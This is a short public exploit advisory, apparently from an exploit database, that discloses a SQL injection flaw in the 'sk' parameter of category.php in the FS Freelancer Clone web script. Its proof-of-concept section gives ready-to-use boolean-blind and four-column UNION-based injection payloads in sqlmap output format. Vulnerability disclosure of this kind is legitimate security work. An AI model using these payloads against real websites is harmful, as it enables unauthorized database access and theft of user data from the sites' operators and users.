FS Freelancer Clone SQL Injection

`# Exploit Title: FS Freelancer Clone - SQL Injection  
# Date: 2017-10-23  
# Exploit Author: 8bitsec  
# Vendor Homepage: https://fortunescripts.com/  
# Software Link: https://fortunescripts.com/product/freelancer-clone/  
# Version: 23 October 17  
# Tested on: [Kali Linux 2.0 | Mac OS 10.12.6]  
# Email: [email protected]  
# Contact: https://twitter.com/_8bitsec  
  
Release Date:  
=============  
2017-10-23  
  
Product & Service Introduction:  
===============================  
Launching within minutes the best ever reverse auction website available online is no more a distant dream!  
  
Technical Details & Description:  
================================  
  
SQL injection on [sk] parameter.  
  
Proof of Concept (PoC):  
=======================  
  
SQLi:  
  
https://localhost/[path]/category.php?sk=2 AND 5895=5895  
  
Parameter: sk (GET)  
Type: boolean-based blind  
Title: AND boolean-based blind - WHERE or HAVING clause  
Payload: sk=2 AND 5895=5895  
  
Type: UNION query  
Title: Generic UNION query (NULL) - 4 columns  
Payload: sk=-9224 UNION ALL SELECT NULL,NULL,CONCAT(0x717a627071,0x6a5954706679724662715071764b6f6b6b5448677770526873556c726b747079556b5341516d7559,0x716a627a71),NULL-- Pddp  
==================  
8bitsec - [https://twitter.com/_8bitsec]  
  
  
`